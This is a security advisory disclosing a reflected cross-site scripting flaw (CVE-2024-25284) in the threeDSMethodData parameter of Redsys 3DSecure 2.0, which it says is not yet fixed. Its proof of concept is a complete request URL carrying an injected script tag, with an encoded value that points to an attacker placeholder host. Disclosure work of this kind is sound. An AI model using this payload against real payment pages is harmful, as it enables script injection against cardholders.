Product: 3DSecure 2.0
Manufacturer: Redsys
Affected Version(s): 3DSecure 2.0 3DS Authorization Method
Tested Version(s): 3DSecure 2.0 3DS Authorization Method
Vulnerability Type: Cross-Site Scripting (XSS)
Risk Level: Medium
Solution Status: Not yet fixed
Manufacturer Notification: 2024-01-17
Solution Date: N/A
Public Disclosure: 2024-09-17
CVE Reference: CVE-2024-25284

Overview:
Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0 allow attackers to inject arbitrary web scripts via the threeDSMethodData parameter.

Vulnerability Details:
The threeDSMethodData parameter is not sanitized before being processed, allowing attackers to inject scripts by concatenating code or modifying the base64-encoded information.

Proof of Concept (PoC):
An attacker can manipulate the threeDSMethodData parameter in the request URL to inject malicious code. Example:

https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze

Solution:
No solution is currently available. Redsys has been notified of the issue.

References:
OWASP Web Security Testing Guide: Reflected Cross-Site Scripting

Discoverer:
Reported by Rubén López Herrera

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